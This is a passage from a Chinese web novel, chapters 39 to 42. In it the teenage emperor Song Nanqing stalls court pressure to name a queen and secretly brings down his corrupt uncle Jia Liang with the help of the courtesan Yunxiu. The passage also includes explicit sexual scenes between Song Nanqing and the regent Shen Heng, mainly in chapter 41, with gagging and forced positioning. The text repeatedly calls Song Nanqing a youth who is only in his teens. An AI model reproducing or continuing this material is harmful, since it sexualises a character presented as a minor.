但宋南卿就是敢答应,还一答应就是三个,现在没有人敢说陛下儿戏,都在猜测他到底是何打算,贾良这一遭究竟是被重用前的障眼法,还是…… 画着高山流水觅知音的水墨画前,宋南卿垂眼看着折子,一封被扔在案上,另一封刚打开看了两眼,就被他合上,眼神冷冷望着陈立文道:“这种奏折,到底是你故意送上来给朕添堵,还是根本就没有审过内容,什么乱七八糟的东西都往朕这儿送,当我这儿是垃圾场吗?” 堂下户部侍郎正在汇报预算审批相关事宜,讲到今年要修缮的宫殿包括后宫和未来皇后要住的宫殿,已经和工部提前商议过,立后加冠大典举行也需编定预算,他还没把最后的金额报出,就听见陛下对着陈立文发火,连忙收住了声音一起跪地。 干净无尘的地面上跪着两个大臣,宋南卿敛眉,金珠搭在耳后往下垂落,像是挂在耳朵上的金色吊坠。白皙小巧的脸带着养尊处优的细嫩,面无表情道:“什么未来皇后?什么立后大典?” “朕的母妃祭日刚过,跟我谈什么大喜之日呢?”宋南卿抬起胳膊,手里捏着的玛瑙珠串盘了好几道垂在腕下,直指堂下之人。 “朕何时管过预算审批,你们这些人,假借编造预算之名,行催促朕立后之实,好啊,好的很。” 他手中的玛瑙珠串被扔了出去,落到地上绳子磕断,一颗颗珠子滚落一地,叮叮当当响。 “之前朕就说过,谁再敢在这件事上催促多说一句,加冠礼也不用办了。” 宋南卿单手搭在龙椅扶手上,摸着上面的雕花花纹,道:“加冠礼延后吧,朕常思亡母,心痛难忍,不想在生辰一事多加铺张。至于封后。别以为朕真不知道你们什么心思,想往后宫送人的心思歇了吧,工部预算一文也不批,你们有本事自己贴钱修。” “陛下三思啊!”堂下大臣跪了一地,纷纷请求收回成命,有大臣私下急忙小声问,“摄政王呢?快去把摄政王找来劝劝陛下啊!” “摄政王这几日不在京城啊,郗大人…郗大人!内阁现在您做主,快想想办法!” 文官大臣乱作一团,宋南卿把折子扔给郗武康,说再处理不好这些事情,他也不用干了,说罢拂袖离去。 宋南卿那么一折腾,大家都觉得他在乱来,陛下长大后最想做的就是摆脱控制,一切阻碍他权力的东西,都将被铲除。但偏偏他年岁摆在这里,连昏庸都没办法用,只能说一句陛下年少不懂事,最能控制他的摄政王又不在京里,诸位大臣别无他法,只能联名上书请求陛下收回成命。 但陛下在乾清宫不上朝也不见人,闭门不出。 内阁几人也在文官大臣的劝说下联名奏请,一字一句言辞恳切,在最后还印上了内阁的印章,上达陛下书房。 之前就说过,在立后这件事上,所有大臣都是休戚与共的,他们绝不能允许陛下背弃礼法背弃道德,因为这是他们立身之根。 在大臣们焦头烂额之际,乾清宫一如往常,清晨宫人端了水盆进去,餐食一应往里送,但房间里面空荡荡,据说把自己关在殿里不外出生气的皇帝陛下,却不见踪迹—— 作者有话说:猜猜去哪儿了? 第40章 第四十章 想被吃舌头 凤栖楼二楼包厢内, 粉紫色的轻纱朝两边掀起,暗黄色的八角宫灯悬挂在高处,红色流苏垂下, 每一次晃动都飘来甜甜的香气。四折屏风上画着簪花仕女图, 工笔画法逼真写实,透过暧昧的灯光, 画上的美人像是活过来般栩栩如生。 包厢半开着窗, 窗外正对着一楼大厅的圆台, 米黄色窗纱蒙在上面,里头看外面清楚, 从外却看不清里头的光景。屏风后的圆桌前坐着两人, 一边听外面铮铮的琴音,一边着手对弈。 沈衡一身墨色衣袍,金线刺绣在袖口和后背刺出一大片缠枝莲花纹, 宽大的衣摆垂在身下圆凳上, 二指夹起一枚黑子放下, 腰间玉佩相撞发出泠泠清音。 他身后就是宽大的床, 同样粉紫色的床幔遮挡住里面风景, 影影绰绰,床里面的墙上是大片雕花鎏金墙, 两个垂下来的吊环跟莲花相辅相成,做成了荷叶托的样子。又是一枚黑子落下,他对面的人轻喊道: “不行不行, 先生不能下这里!”对面人伸手拉住他的衣袖,月白色袖子和墨色相叠,中间还夹了一颗圆润通透的白色棋子,跟棋子一样莹润的手指上戴了一枚翡翠扳指, 在昏暗的灯下映出漂亮的颜色。 原本应该待在宫里避开所有大臣不见的皇帝陛下,正在凤栖楼听着小曲和原本不在京城有外事的摄政王大人对弈,还试图中途耍赖。 “我没有看见这里,你不许下!重来重来!”宋南卿微微噘嘴,伸脚在桌子下勾人的小腿。 沈衡放下手中的棋子挑眉:“怎么不许?” 宋南卿理所当然道:“你下这里我就输了,输了!” 不点而红的嘴唇开开合合喋喋不休,一点没看出在宫里骂大臣把他们弄到联名上书的架势,反而让沈衡觉得有几分可爱。 他点点头把那颗棋子拿回来,伸手从一旁果盘里剥果仁给宋南卿吃。 凤栖楼明明是个青楼,但里面的小吃却做的一绝,成了大家奔着吃喝听小曲儿也会来的场所,原本因为御史王潜在这里被抓而下滑的生意也回温了一些。 剥开的坚果被捻去表面那层皮,沈衡对着宋南卿张开的嘴轻轻一扔,少年舌头一勾吞进嘴里,嚼的咔咔作响,看着棋盘思索局势。 “其实差不多了,只差釜底抽薪,北园寺那儿查的怎么样?”宋南卿落下一子抬眼问。 沈衡仍在剥着果仁,动作细致,剥得完整一丝缺口都没有,随口答道:“你猜的很对,那儿的确有很多倭人俘虏,尼姑庵变成了风月窝,每月挣得不比凤栖楼少,着实玷污佛家尊严。” 他抬了下下巴,把手里的东西塞到宋南卿嘴里,“帮我下,左二上十一。” 宋南卿倾身到他棋罐里拿棋,颈上戴的璎珞圈随着前移,红色宝石坠在下面,成色极佳的鸽血红镶嵌在金托里,晃出火彩,一瞬间迷了沈衡的眼睛。 在黄色的灯下看美人,多了一层朦胧,整个人都像开了一层柔光,狡黠的眼粉红的唇小巧的脸蛋,翠绿的扳指金镶玉的项圈乌黑顺滑的长发,都是完美的作品。是上天的作品,也是他沈衡的作品。 这张脸,这个人,就应该坐在宝石鲜花黄金堆砌而成的皇座上,不染尘埃、不沾风雪、肆意妄为。 “怎么了,我脸上有什么吗?”宋南卿见他盯着自己,不自觉摸了摸自己的脸,甚至翻出旁边的铜镜照了照,没发现有什么不对劲,依旧是光彩照人的样子,很完美。 男人的视线下移,从他的脸顺着脖颈移到腰带处,宋南卿顺着他的视线往下看,瞳孔微微放大了一瞬,然后伸手拢住自己的衣领往里收,抬眼轻轻柔柔道:“不行……” 沈衡把手里的果壳扔掉,擦干净手,拍了拍自己的大腿。绣着提花暗纹的墨色衣袍搭在腿上,腰间玉佩的流苏在上面轻晃。 宋南卿抿了下唇,朝门口看了一眼,缓缓站起身朝人走去,搂住沈衡的脖子坐在大腿上,双脚悬空。 扑面而来的头发香气让沈衡吸了一口气,柔软的轻盈的温暖的身体搂在怀里,有一种轻易就能掌控拥有的感觉。他被细细的两条胳膊缠着脖子,低头凑近。 细腻光滑的脸颊被亲了一口,宋南卿把嘴也凑上去,获得了一个嘴角轻吻。 忽闪忽闪的眼睛闪着亮色,宋南卿微微张开嘴唇,舌头抵着下齿轻晃,嫣红的舌尖和洁白的贝齿有种独特的反差诱惑。他用脸颊蹭了下沈衡下巴,用气声说:“想被吃舌头。” 天真无辜的眼睛,天真无邪的请求,沈衡一把攥住他的手腕往下拉,两个腕子对在一起被他反扣到身后,宋南卿被迫挺胸仰头。就在激烈凶狠的吻即将落下之时,门口传来一道女声和敲门声。 “南公子,我是云岫。” 这道声音打断了房间里旖旎的氛围,宋南卿忙推开男人从人腿上下来,坐在一旁圆凳上理了理头发,扬声道:“进来吧。” 云雾般层层叠叠的衣裙衬得云岫像是天边来的仙子,她推门而入看见房间里不只宋南卿一个人,微微惊讶,但很快从容行了一礼,往前走近道:“公子,已经找到证据,烈他跟贾府姨娘达成协议,愿意做证人揭穿贾良贪污受贿的恶行。” 宋南卿点头,让云岫坐,“都不是什么外人,我先说好了,不可轻举妄动让贾良发现不对,等时机成熟,一攻而上,你们的证据今天再对对,贾府和北园寺利益相通,万不可出差池。” 云岫点头,“公子出手帮云岫惩治害我族人的罪魁祸首,还替我找到亲人,云岫感激不尽,必定尽力而为。” 宋南卿摆了摆手,“朝廷蛀虫,贪污受贿,买卖俘虏,结党营私,本就罪有应得。”他眉尾微挑,看了眼云岫问: “你那个心上人,叫烈对吧?我很是好奇他靠什么办法让贾良姨娘愿意冒着被抄家的风险,都要治贾良于死地的?” 那日他去贾良府上做客,在马厩看到的颈后刺字的健壮男人就是云岫拜托他找的心上人。他被卖进贾府养马,其实暗地里也做贾良的打手,干一些见不得光的事。因为有了烈这个人,宋南卿和云岫很快就摸清了贾府里的状况,而那个戴着翡翠耳环的姨娘和烈的关系好像不清不楚,她很早就跟了贾良,对内里腌臜了解的更清楚。 这次摸清贾府内情,一靠烈,二靠贾姨娘,但宋南卿不明白,明明揭穿贾良对她来讲是个风险很大的事,为什么会那么配合,不会其中有诈吧? 云岫甩出帕子捂了捂嘴,面上清冷淡雅如风,嘴里说:“不就是靠我教你那些……” “哎、哎!”宋南卿及时打断制止了她,转过头对沈衡说,“先生,我和云岫还有些私事要谈,能不能请你先……” 沈衡淡淡瞥了一眼云岫,起身推门离开。 没了这个冷冰冰坐在旁边像一尊大佛一样让人难以忽视的存在,云岫看起来放松了一些,捡起一颗果脯扔进自己嘴里,带着调侃的语气问宋南卿:“怎么样,拿下了?” 宋南卿微偏了偏头,面上有些不自然,但还是点头承认,“嗯…但、你怎么知道是他。” 云岫伸出两根指头比了比自己眼睛,又对着宋南卿的眼睛比划了下,“我云岫阅人无数,这都看不出来也不用干了。” 宋南卿还是放心不下贾良的事,眉头微皱问:“烈一直跟你有联系,他靠你的方法让贾姨娘对他流连忘返我信,但是我还是不放心,靠这种东西真的足够使她下定决心摧毁贾家吗?那可是她的立身之所。” 云岫不慌不忙理了理自己胳膊上的披帛,抬眼反问:“你那位先生,现在能为你做到什么份上?” 面对突如其来的反问,宋南卿眨了眨眼,思考片刻道:“我们又不一样,我们有从小到大的感情在。”沈衡或许可以为了救他身处险境,但宋南卿扪心自问,如果是他,他不会放弃自己现在所拥有的一切,放下立身之所,放下之前努力了一生打下的基业,只为了讨心上人欢心,他不能做到这个份上。 生死存亡之际,上头只是一瞬间的事情,在危险来临前容易做出冲动举动,谁能肯定沈衡那夜没有后悔呢?但生死一刻来不及理性来不及反思,是情绪替他做了决定。 那只是代表那一瞬间,他心中的决定。 但如果可以犹豫,这是一个能抉择很久的过程,需要思考的就太多了,利益、纠纷、未来,哪一个不是需要反复衡量的?贾姨娘又不是傻子,为了个男人,失去一切还可能背负沦为罪妇的骂名,图什么,不会真的图那男人给他的“爱”吧? 宋南卿不信。 云岫笑了笑,轻轻摇头,道:“南公子,人总是会以自己为判断标准,揣测别人的心。你不相信无缘无故的爱,也不相信坚不可摧的爱,所以你不相信贾姨娘会为了虚无缥缈的未来甘心推翻现在所拥有的一切。” “但如果那个未来是没有束缚的、自由的、能做她自己的呢?她可以不是贾姨娘,不是贾良的小妾,不是困在深闺连吃喝都需要伸手靠男人施舍的附庸,离开贾府是没了庇护所,但也没了枷锁。” “她可以平等地和一个男人恋爱,不需要讨好、不需要伪装,不需要日日思考怎么讨一个男人欢心才能活下去。” 宋南卿沉默了。 “那不是虚无缥缈的未来,那是她新的开始。” 宋南卿摇头,“但那是假的,烈给不了她这些,我们都在骗她。” 云岫定定看着他道:“只要思想上能迈出第一步,剩下的都可以靠自己创造,和她恋爱的可以是任何人,烈不是终点,而是出发点。” “云岫,你变了很多。”宋南卿垂眼说,“凤栖楼也变了一些,这些小吃变得很让人喜欢。”他捡起一根脆脆的土豆条扔进嘴里。 云岫轻笑:“最近我交了一个朋友,她对我影响很大,这些东西也是她做的。” 宋南卿咬碎了嘴里的东西,抬眼道:“比起你说的那些自由,我更愿意相信利益和威胁。” “让烈把他和贾姨娘偷情的证据保存,我不管他用什么方法,都要让贾姨娘以为贾良已经知道了这件事,她命不久矣。” “只有没有退路的人,才能孤注一掷,我不喜欢不确定的东西。”宋南卿捏着一根土豆条折断,胸前的鸽血红艳丽又璀璨。 门被敲响,随即打开,沈衡推门进来,站在门口问:“聊好了吗?” 宋南卿露出一个灿烂的笑容,朝他张开手道:“聊好了!等久了吗?” 40-50 第41章 第四十一章 年纪小管不住也正常…… 宽敞的包厢里响着丝竹的声音, 红色牡丹花地毯几乎铺满了整个房间,一层一层的红纱飘在空中又缓慢落下,甜香扑鼻让人欲罢不能。 屏风后面的红纱正在摇晃, 轻微的飘动声和丝竹音乐混在一起。在红色纱幔的遮挡下, 可以隐隐约约看见一只绷成弯月的脚,悬空举在空中随着动作晃个不停, 粉红的脚趾蜷缩成一团, 一会儿完全张开抽搐不止, 一会儿又晃着脚腕疯狂乱踢,脚背上的青筋明显鼓起。 刚才宋南卿假装凤栖楼客人惹恼了某位摄政王大人, 被压着练胯。不让他抱着腿又不让他把脚架在自己肩膀上, 只能举在空中没有支撑的挨着,他柔韧性本就不好,没举一会儿大腿根就被弄的抽筋。 照理说宋南卿早该又哭又叫了, 现在却一反常态安静的很, 仔细看去, 他面色潮红额头上都是汗珠, 迷离的眼睛下是一根布条从左往右勒进了嘴里, 他张不开口说话,反而口水流了一下巴, 长发凌乱散在脖子上,璎珞圈一前一后晃动,甩出悦耳的金玉相撞声。 沈衡勾住项圈往上拉, 宋南卿被迫抬起身子,原本奢华漂亮的饰品到了摄政王手里倒成了实用的器具,镶嵌了宝石名贵金子打造又怎样,一收一放间和缰绳是差不多的用途。 风吹开帷幔, 宋南卿倒在床上腿合不拢,胯被开得太厉害,回来还需要一些时间,他的一只脚垂在床外,时不时抽搐一下,脚心红红的被孔雀翎挠过,感觉还未散。 沈衡从床头拾起一枚刚刚摘掉的扳指,重新戴到自己手指上,拿出帕子把宋南卿的脸擦干净,布条解开。 “你不是人!呜呜沈衡你不是人…”宋南卿夺过他的帕子盖在自己脸上,假装已经仙去了。 沈衡轻笑一声,揭开帕子一角挑眉问:“叫我什么?” 宋南卿挤着眼睛装哭,半天没落下一滴泪,抽空还去偷看人的表情,“呜呜呜——讨厌,不要和你玩了,好丢脸…呜你不许记着!” 沈衡视线下移看着床中央那一块痕迹,安慰说:“没关系的,卿卿年纪小管不住…也正常。” 宋南卿哭得更大声了,三岁管不住很正常,可他都十好几岁了啊!谁来救救他丢掉的脸! 沈衡无奈一笑,伸手把人抱起来放在自己腿上,轻轻拍着后背哄道:“好了好了,没事的,没有人知道,嗯?” “你忘掉…呜你快点忘掉!”宋南卿声音都带上了着急的哭腔,他一世英名……他一世英名啊! 沈衡摸着他的头答应,手指摸过软软的脸蛋,在人耳边轻声问:“很喜欢今天的?反应那么大。” 宋南卿缩起脖子抖了一下,他的脸颊仿佛还残留着刚刚的麻,被沈衡猝不及防一上手,条件反射般想躲,但感受到只是抚摸后,逐渐放松了身体,垂着眼睛有点不好意思地开口问:“有…有印子吗?会不会被看出来。” 沈衡仔细打量着他的脸,手指从侧面轻轻摸过,沉声道:“没有,我没用多少力,喜欢?” 手指的热度从脸颊传到腰窝,宋南卿有点害羞地闭上了眼睛,趴在人怀里轻轻“嗯”了一声。 后背被轻轻拍打着安抚,少年缩在人怀里,闻着熟悉的木质香气,思绪慢慢抽离,睡过去之前轻声说了一句:“喜欢。” ———— 内阁大臣联名上书三封奏折请求陛下收回成命,重新考虑立后加冠事宜,联名奏请由陈立文执笔。陛下收到后大怒,声称要解散内阁,朝廷上下乱成一团,风声鹤唳。 贾良辞职在家不在这场风暴中心,但看着前朝这些事情在心中思量了许多,内阁离了他现在闹成这样,正是他想要的,陛下在气头上,现在正是他的时机,陈立文就只会耍嘴皮子,进内阁这才几天,就搞成这样。 一封秘密文书递到宫内直达陛下手中。 宋南卿喝了一口茶,抽出这封加急加密的折子展开,下方坐着的陈立文焦急道:“陛下,臣实在装不下去,每日在内阁一个头两个大,这种日子什么时候才是个头啊我的陛下。” “你急什么,现在有人比你更急。”他低头看着这封贾良递上来的秘密件,帖子里说听闻了内阁和文武大臣联名奏请的事,他并不知晓缘由也并非自己授意,联名奏请他没有签字。自己虽已辞官但对内阁还是有感情,希望陛下能够宽恕他们这一不冷静行为,注意身体云云。 反正目的只有一个,就是撇清关系,显得自己鹤立鸡群是站在陛下这边的,希望宋南卿不要和那些愚蠢的大臣一般见识。 宋南卿拿着朱笔在上面一字一字写下批示,看起来心情很好,完全没有外界所传今日把陈立文叫来大发雷霆的样子。 “郗渐是不是到给事中轮值了?”宋南卿突然问了一句。 陈立文点头,“是,陛下,他今日正当值。” 宋南卿慢悠悠批完这个奏章,又一点点折起,和旁边两三个折子混在一起,道:“你把这些交给给事中办公室,该抄录的抄录,该发回的发回。” 狼毫毛笔搁置在砚台上,笔尖染着朱红。白玉砚台一丝杂质也无,里头研磨开的鲜红颜色像是一滩未凝固的血迹。 陈立文上前接过折子,和他对了个眼神,嘴角浮现出一抹不言而喻的微笑,道:“臣领旨。” ———— 一封秘密奏章连同帝王朱批在给事中被抄录公布,瞬间朝廷上下一片哗然。 【臣素蒙陛下体恤,虽驽钝寡才,唯知恪尽职守。今见联名奏疏,心实惶惑,恐陛下误会,故冒死陈奏:臣之志,从未在联名请奏之列,更不敢与他人同流逼迫陛下。伏望陛下明察臣之愚衷,臣虽不才,愿竭尽所能,以报陛下隆恩。】 本来内阁和诸大臣联名上书就是有贾良的暗示,立后加冠礼一说最开始也是他提出的,这下好嘛,他们满朝文武都是逼迫陛下之流,独他一人成了清清白白的贤臣。 偏偏陛下还给他回,感念舅父之才能,知晓他清白云云,说什么唯有舅父知晓其心意,内阁没有贾良于心不安之类的话,把贾良捧上高台。 虽然秘密奏疏不能抄录,只能原件返回呈奏者,抄送完也被给事中立马发现不对撤了回来,但这封奏折实在是引起了朝中惊涛骇浪,像是一滴水掉落到滚油里,一时间,弹劾贾良的奏折层出不穷,上朝之时,一多半大臣都在请命,接连上书说贾良是个卖友误君的两面派小人,希望陛下万不可受其蒙蔽。 京城官员议论纷纷,连带着一些官员亲眷也在对贾良指指点点,说他这做法着实违背道义,怎么能够做出这种当面一套背后一套的事情来,跟陛下表忠心也不能把其他所有人都做成筏子踩在脚下,着实有失两朝老臣的水准。 之前双头牛一事,大家对他已有不满,但还是畏惧他的身份,现如今贾良威信扫地已成定局,是个人就想来踩一脚。因为如果不能把贾良踩死,他们这些联名上奏的人,就真成了他口中逼迫陛下之流。 贾良本是请辞在家,但真正的辞职文书还未下达,他怎么也没想到那封奏疏会被公开出来,回内阁不成,现如今贾府名声反而一落千丈,他日日在府中不敢出门,吃饭时拿着筷子看了眼贾姨娘,沉声道:“我准备请求外派,离开京城,你怎么想?” 贾姨娘愣了神,过了一会儿才反应过来带了些失措道:“老、老爷在那儿,妾当然也去那儿。”她陪着笑,筷子尖上的米粒夹了两次都没能夹起来。 日薄西山,太阳快落到地平线,昏黄、橙色、墨蓝一层叠着一层,在天边形成了朦胧的一副画,在最后一缕亮光即将消散之际,贾府大门被人一脚踹开。身着官服身配短刀的仪鸾司侍卫宛如鬼魅降临,从贾府大门一拥而入瞬间包围的水泄不通。 魏进穿着白底黑靴,头戴官帽,抱着一柄剑站在大堂门口,背着光仿佛来收割人命的阎罗,亮出一张令牌对着贾良说:“贾大人,有人举报您贪污受贿、挪用国库公财、残害俘虏、于佛门清静地开设妓院……”一连串的罪名念下来,砸晕了贾良的头,他一口气没喘匀就要晕倒在地,贾姨娘扶了一把,道:“老爷你怎么了,可别出事啊。” 她望着门外蓝色的广阔天空,轻声说:“你出事了,我可怎么办呢。” 仪鸾司诏狱,贾良面色苍白看着面前陈列出来的一件件证据,家中地窖搜出来的宝物、和他交好的老臣拿出来的契约,甚至是……他的枕边人贾姨娘作为人证亲口承认的事实,人证物证俱在,又细又全,不知是提前多久就开始谋划布局,他竟然毫无察觉。 贾良对着监狱外的贾姨娘就要冲过去给她一巴掌,“贱人!你怎么敢背叛我的!” 魏进给了他一脚,挡在贾姨娘面前,道:“这位姨娘受你逼迫多日不敢言语,一朝揭发作证有功,陛下恕她无罪。” “至于你,贾大人,圣上体恤您年老,又是贾贵妃亲人,死罪可免,活罪难逃。即日起,抄家,流放漠北,无召不得回京。” 魏进带着冷笑面露体恤,“您说说,贵公子启程岭南做官还未至,如今受您牵连,流放琼崖道,你们正好相聚,也算是替陛下守护河山了。” 贾良像是突然意识到什么似的瞪大眼睛,“岭南……陛下他是不是早就,宋南卿…宋南卿!”他叫的撕心裂肺满藏恨意。 不待他把诅咒说完,魏进就找人堵住了他的嘴捆住,等待明日启程漠北。 被贾良带着恨意喊名字的宋南卿倒是没有背后发凉,他哼着小曲坐在明亮的殿里,头发梳的一丝不苟,白色的衣袍袖子做了渐变的水红,明艳又动人。 修剪整齐的指甲卡在一个珐琅匣子边缘,正举起匣子对着光观察色彩情况。从里到外仔仔细细看过,没有一丝瑕疵,他满意地点点头,把自己的银镯子、沈衡送的翡翠耳环什么的一股脑放入匣子中,合上盖子轻轻抚摸上面的花纹。 魏进从门口经传诏进来给他汇报情况,说贾良跟着流放的队伍刚出嘉峪关,就在半道因为气温变化加上生病,已经死了。 宋南卿点点头,说知道了。他捧着匣子左看右看,最后摆在了梳妆台上。 “我的东西,还是放在自己手里,最好看。” 珐琅匣子上的花与鸟搭配紫檀木的梳妆台,以及后面琳琅满目的发簪、发带、香膏罐子、宝石翡翠,浑然天成,仿佛本来就应该放在这儿。 “你说呢?”宋南卿垂眼看魏进。 魏进点头应道:“陛下说的对。”—— 作者有话说:[墨镜][墨镜] 第42章 第四十二章 男人需要的那种药 阳光正好, 绿草繁茂,一片绿地之上,石碑林立。在高大的松树下, 宋南卿一袭白衣跪在墓碑前, 案台上摆着整齐的瓜果、糕点。他拿着帕子把石碑上方掉落的深绿色松针擦拭干净,手里纯白色的芍药花拢成一束, 搁置在石碑正下方。 他今日表情平静, 跪在母亲的墓碑前良久, 阳光透过松树缝隙洒在脸上,显得面容白净清晰。 野外墓地松树林, 烧纸的香灰味道和松树的清香混合成一种熟悉的感觉, 让宋南卿心神放松。 “母亲,贾良死了,本来想赶在您祭日之前, 但还是晚了一些, 不过想来您也不会在意这些。” “其实我一直在想, 如果当年他没那么想升官发财逼你入宫, 用你争夺先帝的关注, 你肯定这辈子过的比现在要好。”宋南卿垂眼轻声道,“他一直在骗你, 满嘴仁义道德家族荣辱,其实背地里都是生意,如果他真的在意家人在意贾家门楣荣辱, 就不会做出这些丧心病狂的事情揽权夺财,给贾家蒙羞。” “他现在是贾氏的千古罪人,也是朝廷的罪臣。” 一阵风吹过,白色的花瓣在风中摇晃, 宋南卿把散落的一缕发丝掖到耳后。 “母亲不用担心我,我现在过得挺好的,也一定会做一个好皇帝。对了,你还记得沈衡吗?就是那个草原来的质子,他一直挺照顾我的。”宋南卿扯着自己的袖子,手捏着布料搅动。 “但有时还是会想你。”宋南卿抬起袖子擦了擦眼睛,仰起头望向天空,白云一团一团飘在上面,天空湛蓝,就是阳光有些刺眼。 “母亲你一直在看着我吧,其实我也知道有些事不应该那么做,但我控制不了自己的心。” “我总是梦到自己掉到井里出不来,出来就看到了你的尸体,母亲,我好怕。”宋南卿嘴角勉强上扬着,抿出一个惨淡的弧度,“我不想一个人,孤孤单单坐在皇宫里,这个紫禁城四角四方的天,和坐在井里没有什么分别。” “我不想失去他……母亲会理解我的,对吗?”宋南卿捡起最上方的一颗苹果,放在袖子上蹭了蹭,“咔嚓”咬了一大口,酸甜的苹果清香冲击着味蕾,他咽下一口苹果接着说,“不过不用担心,我知道度在哪里,如果有一天他真的成了威胁,我不会手软的。” 墓园上空高大的松树上,一枚宝塔型松果正摇摇欲坠,悬在宋南卿脑袋正上方。 他起身拍了拍衣服上的土,听见不远处的脚步声,是沈衡。 “你怎么进来了,不是说好外面等我?”宋南卿拿着苹果问,心中想刚刚他说的话应该没有被偷听到吧。 沈衡一身黑衣缓步走来,显得沉静肃穆,他单手背在后面,抬头看了一眼树枝末端,认真看着人说:“来给你变个戏法。” 少年的眼珠像是浸泡过水的黑色棋子,眼尾还残留着淡淡的红色,他移开目光问:“什么啊,没听说你还会变戏法。”刚刚落过泪,他表情有些不自然,睫毛努力扇动让热热的眼睛冷却下来。 沈衡朝他头顶忽然伸手一接,宽大的衣袖垂落,从头顶掠过的手伸到他面前打开,里面静静躺着一枚棕色干燥的松果,层层叠叠的宝塔形状,如花朵般展开,最上层缝隙里还藏着几颗小小的未成熟松子。 宋南卿睁大了眼睛,张开手接过捧在手心,鼻尖凑近闻了闻,松树的味道带着大自然的清新。他把吃了没两口的苹果塞到沈衡嘴里,一手捧着松果,一手试图去摘下镶嵌在里面的松子。 小巧的果实还没开口,他嘴角荡漾开笑容,捏着小小的松子给沈衡看。 “先生好厉害,怎么变的?”一个没见过的松树果实就吸引了他的注意力,沈衡轻搂着他的肩膀往墓园外走,说:“这是不外传的秘技。” 宋南卿捏着松果把玩,把指腹塞进缝隙中,这样一根手指就可以把它举起。他一边在太阳下观察着松果的构造,一边微微撅起嘴道:“什么嘛!连我也不能吗?先生如此小气,把苹果还我!” 沈衡摊开手道:“吃完了。” 宋南卿转过头不说话了,由于动作过快,袖子最外层的纱摆还缠在沈衡胳膊上没收回来。 “怎么了,生气了?”沈衡轻撞了下少年肩膀,把他最外层的袖子放回原位,宋南卿“哼”了一声没回答。 “再变一次,卿卿要不要看。”他们已经走到墓园入口,两边的高大松树成排竖立,深绿浅绿端庄肃穆,棕色的树干灰色的墓碑和绿色的松针,充满森林和泥土的气息。 宋南卿勉为其难转过头盯着他,一副“既然你都求我了,我就随便看看”的表情,对他抬了抬下巴。 沈衡伸出手对他展示空荡荡的掌心,然后袖子晃动在宋南卿面前双手紧握,看着他的眼睛轻声道:“吹一口气。” 宋南卿被他眼底的温柔认真看的忍不住躲闪,半信半疑间轻轻对着面前的手吹了一口气,明明他低头吹的时候还没有什么变化,但一个晃神之际,一支粉白渐变小重瓣荷花出现在了沈衡手中。 鲜绿色的茎上,纯白色的花瓣朝外面一圈圈展开,重瓣荷花越往边缘粉色越多,像是涂了浅浅胭脂的脸,清清雅雅的粉色点缀上面,越靠近边缘,粉色着色越盛,纯白的重瓣荷开得并不大,但在这一片沉静的绿色墓园中,却明艳的格外显眼。 宋南卿微微张开唇瓣,眼底一片惊讶之色,花瓣缓缓绽开,他的心也随之一起朝外绽开愉悦。这一瞬间,他眼前是花开,耳边是鸟叫,心跳遗失在前一秒,满脑子只有荷花香。 他缓缓伸手接过这支重瓣莲,低头嗅去。清香的荷花还带着氤氲水汽,清雅甜香并不腻人,在沉重的墓园里如同一缕清风给宋南卿带来了沁人心脾的抚慰。 粉白的花瓣贴在他的脸上,荷花遮挡住嘴角露出的笑意,宋南卿低着头埋在花里,垂落到脸庞的青丝被沈衡往后撩起,顺到肩膀后面。 温热的手指划过发丝蹭过耳后,沈衡打量着人问:“这下开心了?” 宋南卿盯着粉白色的花瓣,只觉得心好满,像是盛了这一朵绽开的荷花,每一寸都被生长的花填满,甚至要冲破心脏继续朝外繁茂,那是血肉和枝丫相伴而生往外疯长的感觉,胸口又痒又麻,还有着被填满的酸。 他嗯了一声,晃了晃头,想要驱散这种陌生的感觉,拉住人胳膊道:“云岫说京城南边新开了一家食肆,可好吃了,我们去尝尝吧。” 现在正是中午饭点,大盛经济发展迅速,皇城根脚下生意兴旺,宋南卿他们晚来了一会儿,竟然要排队了。 这下子更是激起宋南卿的好奇心,他对于这种需要争着抢着、不能轻易得到的东西有种莫名的放不下,比如梅坡斋那家卖的梅子,每日限量发售,去晚了就没有,他偏偏就独爱这一口,等后来排队的人太多,梅坡斋老板也不搞这些饥饿营销后,他反而没那么偏爱了。 二层高的食肆,外面摆了一些凳子给排队的人使用,宋南卿坐在上面晃了晃脚,抬头看着墙上的菜单,忽然一阵叫嚷声传来,二楼有个浑身黝黑的男人飞快顺着楼梯奔跑下来,后面追着他的两三个人手握武器,凶神恶煞。 周围正在吃饭的食客受到惊吓都呆在原地,沈衡伸出胳膊挡在宋南卿面前,隐藏在周围的暗卫调转方向密切关注这几个人的动线。 那个受到追杀的人动作迅速磕磕绊绊往外跑,腿看起来受了伤,一瘸一拐,转身时露出了半张脸,看起来不像是他们这边的人该有的相貌。 宋南卿抓着沈衡的胳膊,心中微动,“我们跟上去看看,刚刚那个人很奇怪。” 经历了一些事件后,他对一些特别发生的事很敏感,不能说皇帝都多疑、都有被害妄想症,但位置坐在这里,还是需要防微杜渐、防患于未然。 店里老板正在安抚顾客,宋南卿看见远处的治安官正在朝这边赶来,他跟沈衡离开食肆,顺着那群人的身影追出去。 京城商业街横竖交叉排列,每条路都会通向一个十字路口,他们追出去一段距离,就探寻不到人影了。望着眼前几个方向的路,宋南卿的目光突然探寻到一个牌子,上面写着“李氏医馆”四个大字。 像是有种莫名的指引,宋南卿朝李氏医馆走去,刚进门口就闻到了淡淡的血腥味,虽然医馆有血的味道很正常,但开着大门做生意的地方,老板掌柜却不在,着实异常。 他掀开一道帘子,脚步放轻,走进后面磨药的地方。 一男一女蹲在地上瑟瑟发抖,带着帽子遮住半张脸的人正在往自己受伤的腿上洒药粉,他另一只手里还紧紧握着刀不放。 此人十分敏捷,察觉到有陌生人进来,立马转身翻窗往外逃去,魏进手下忙问宋南卿:“陛下,是否要追?” 宋南卿沉思片刻,道:“跟着他,看他要去哪儿,别被发现踪迹。” 一切回归平静,宋南卿让人把地上的李大哥和翠枝扶起来,查看过没什么伤处之后,边打量着医馆内部结构,一边道:“李大哥,好久不见,这医馆倒是开得有模有样。” 李大哥顾忌着他的身份,不敢放松,连称呼都不知道叫什么好,屁股坐在凳子上像是沾了火,怎么坐怎么别扭。 宋南卿笑起来,只留了沈衡跟他一起,其他人出去之后,李大哥放松了一些。 “多谢您,不然我们也没有机会来京城,最近医馆生意好了很多,北园寺也不和我们抢生意,听说换了新住持。”他一边给宋南卿和沈衡倒茶一边说。 “如果没有你和翠枝姐,我们能不能活到现在还两说,李大哥你太客气了。”宋南卿端起杯子轻抿了一口,酸甜可口的酸枣仁茶很是合他胃口。 